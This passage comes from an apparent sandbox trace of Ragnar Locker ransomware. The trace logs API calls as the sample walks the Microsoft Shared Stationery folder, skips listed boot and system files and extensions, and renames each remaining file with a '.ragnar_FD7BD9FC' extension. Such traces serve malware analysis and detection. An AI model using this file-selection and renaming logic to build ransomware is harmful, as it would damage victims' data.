files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.546] CloseHandle (hObject=0xffffffff) returned 0 [0069.546] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" [0069.546] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.ragnar_FD7BD9FC" [0069.546] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.546] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0069.546] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.546] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Roses.jpg" | out: lpString1="Roses.jpg") returned="Roses.jpg" [0069.546] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned=".jpg" [0069.546] lstrcmpiW (lpString1="Roses.jpg", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0069.546] lstrcmpiW (lpString1="Roses.jpg", lpString2="autorun.inf") returned 1 [0069.546] lstrcmpiW (lpString1="Roses.jpg", lpString2="boot.ini") returned 1 [0069.546] lstrcmpiW (lpString1="Roses.jpg", lpString2="bootfont.bin") returned 1 [0069.546] lstrcmpiW (lpString1="Roses.jpg", lpString2="bootsect.bak") returned 1 [0069.546] lstrcmpiW (lpString1="Roses.jpg", lpString2="bootmgr") returned 1 [0069.546] lstrcmpiW (lpString1="Roses.jpg", lpString2="bootmgr.efi") returned 1 [0069.546] lstrcmpiW (lpString1="Roses.jpg", lpString2="bootmgfw.efi") returned 1 [0069.546] lstrcmpiW (lpString1="Roses.jpg", lpString2="desktop.ini") returned 1 [0069.546] lstrcmpiW (lpString1="Roses.jpg", lpString2="iconcache.db") returned 1 [0069.546] lstrcmpiW (lpString1="Roses.jpg", lpString2="ntldr") returned 1 [0069.546] lstrcmpiW (lpString1="Roses.jpg", lpString2="ntuser.dat") returned 1 [0069.546] lstrcmpiW (lpString1="Roses.jpg", lpString2="ntuser.dat.log") returned 1 [0069.546] lstrcmpiW (lpString1="Roses.jpg", lpString2="ntuser.ini") returned 1 [0069.546] lstrcmpiW (lpString1="Roses.jpg", lpString2="thumbs.db") returned -1 [0069.547] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0069.547] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.547] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.547] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0069.547] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.547] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0069.547] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0069.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.549] CloseHandle (hObject=0xffffffff) returned 0 [0069.549] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" [0069.549] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.ragnar_FD7BD9FC" [0069.549] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.549] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0069.549] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.549] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Sand_Paper.jpg" | out: lpString1="Sand_Paper.jpg") returned="Sand_Paper.jpg" [0069.549] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned=".jpg" [0069.549] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0069.549] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="autorun.inf") returned 1 [0069.549] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="boot.ini") returned 1 [0069.549] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="bootfont.bin") returned 1 [0069.549] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="bootsect.bak") returned 1 [0069.549] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="bootmgr") returned 1 [0069.549] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="bootmgr.efi") returned 1 [0069.549] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="bootmgfw.efi") returned 1 [0069.549] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="desktop.ini") returned 1 [0069.549] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="iconcache.db") returned 1 [0069.549] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="ntldr") returned 1 [0069.549] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="ntuser.dat") returned 1 [0069.549] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="ntuser.dat.log") returned 1 [0069.549] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="ntuser.ini") returned 1 [0069.549] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="thumbs.db") returned -1 [0069.549] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0069.549] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.549] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.549] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0069.549] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.549] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0069.550] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg")) returned 0x20 [0069.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.550] CloseHandle (hObject=0xffffffff) returned 0 [0069.550] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" [0069.550] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.ragnar_FD7BD9FC" [0069.550] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.550] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0069.550] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.550] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Seyes.emf" | out: lpString1="Seyes.emf") returned="Seyes.emf" [0069.550] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned=".emf" [0069.550] lstrcmpiW (lpString1="Seyes.emf", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0069.550] lstrcmpiW (lpString1="Seyes.emf", lpString2="autorun.inf") returned 1 [0069.550] lstrcmpiW (lpString1="Seyes.emf", lpString2="boot.ini") returned 1 [0069.550] lstrcmpiW (lpString1="Seyes.emf", lpString2="bootfont.bin") returned 1 [0069.550] lstrcmpiW (lpString1="Seyes.emf", lpString2="bootsect.bak") returned 1 [0069.550] lstrcmpiW (lpString1="Seyes.emf", lpString2="bootmgr") returned 1 [0069.550] lstrcmpiW (lpString1="Seyes.emf", lpString2="bootmgr.efi") returned 1 [0069.550] lstrcmpiW (lpString1="Seyes.emf", lpString2="bootmgfw.efi") returned 1 [0069.550] lstrcmpiW (lpString1="Seyes.emf", lpString2="desktop.ini") returned 1 [0069.550] lstrcmpiW (lpString1="Seyes.emf", lpString2="iconcache.db") returned 1 [0069.550] lstrcmpiW (lpString1="Seyes.emf", lpString2="ntldr") returned 1 [0069.550] lstrcmpiW (lpString1="Seyes.emf", lpString2="ntuser.dat") returned 1 [0069.551] lstrcmpiW (lpString1="Seyes.emf", lpString2="ntuser.dat.log") returned 1 [0069.551] lstrcmpiW (lpString1="Seyes.emf", lpString2="ntuser.ini") returned 1 [0069.551] lstrcmpiW (lpString1="Seyes.emf", lpString2="thumbs.db") returned -1 [0069.551] lstrcmpiW (lpString1=".emf", lpString2=".db") returned 1 [0069.551] lstrcmpiW (lpString1=".emf", lpString2=".sys") returned -1 [0069.551] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0069.551] lstrcmpiW (lpString1=".emf", lpString2=".lnk") returned -1 [0069.551] lstrcmpiW (lpString1=".emf", lpString2=".msi") returned -1 [0069.551] lstrcmpiW (lpString1=".emf", lpString2=".drv") returned 1 [0069.551] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1 [0069.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf")) returned 0x20 [0069.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.553] CloseHandle (hObject=0xffffffff) returned 0 [0069.557] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" [0069.557] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf.ragnar_FD7BD9FC" [0069.557] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.560] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0069.560] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.560] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Shades of Blue.htm" | out: lpString1="Shades of Blue.htm") returned="Shades of Blue.htm" [0069.560] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned=".htm" [0069.560] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0069.560] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="autorun.inf") returned 1 [0069.560] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="boot.ini") returned 1 [0069.560] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="bootfont.bin") returned 1 [0069.560] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="bootsect.bak") returned 1 [0069.560] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="bootmgr") returned 1 [0069.560] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="bootmgr.efi") returned 1 [0069.560] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="bootmgfw.efi") returned 1 [0069.560] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="desktop.ini") returned 1 [0069.560] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="iconcache.db") returned 1 [0069.560] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="ntldr") returned 1 [0069.560] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="ntuser.dat") returned 1 [0069.560] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="ntuser.dat.log") returned 1 [0069.560] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="ntuser.ini") returned 1 [0069.560] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="thumbs.db") returned -1 [0069.561] lstrcmpiW (lpString1=".htm", lpString2=".db") returned 1 [0069.561] lstrcmpiW (lpString1=".htm", lpString2=".sys") returned -1 [0069.561] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0069.561] lstrcmpiW (lpString1=".htm", lpString2=".lnk") returned -1 [0069.561] lstrcmpiW (lpString1=".htm", lpString2=".msi") returned -1 [0069.561] lstrcmpiW (lpString1=".htm", lpString2=".drv") returned 1 [0069.561] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1 [0069.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0069.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.561] CloseHandle (hObject=0xffffffff) returned 0 [0069.561] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" [0069.561] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.ragnar_FD7BD9FC" [0069.561] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.561] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0069.561] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.561] lstrcpyW (in: lpString1=0x1eb63c, lpString2="ShadesOfBlue.jpg" | out: lpString1="ShadesOfBlue.jpg") returned="ShadesOfBlue.jpg" [0069.561] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned=".jpg" [0069.561] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0069.561] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="autorun.inf") returned 1 [0069.561] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="boot.ini") returned 1 [0069.562] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="bootfont.bin") returned 1 [0069.562] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="bootsect.bak") returned 1 [0069.562] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="bootmgr") returned 1 [0069.562] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="bootmgr.efi") returned 1 [0069.562] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="bootmgfw.efi") returned 1 [0069.562] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="desktop.ini") returned 1 [0069.562] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="iconcache.db") returned 1 [0069.562] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="ntldr") returned 1 [0069.562] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="ntuser.dat") returned 1 [0069.562] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="ntuser.dat.log") returned 1 [0069.562] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="ntuser.ini") returned 1 [0069.562] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="thumbs.db") returned -1 [0069.562] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0069.562] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.562] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.562] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0069.562] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.562] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0069.562] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0069.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.565] CloseHandle (hObject=0xffffffff) returned 0 [0069.565] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" [0069.565] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.ragnar_FD7BD9FC" [0069.565] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0069.565] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.565] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Shorthand.emf" | out: lpString1="Shorthand.emf") returned="Shorthand.emf" [0069.566] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned=".emf" [0069.566] lstrcmpiW (lpString1="Shorthand.emf", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0069.566] 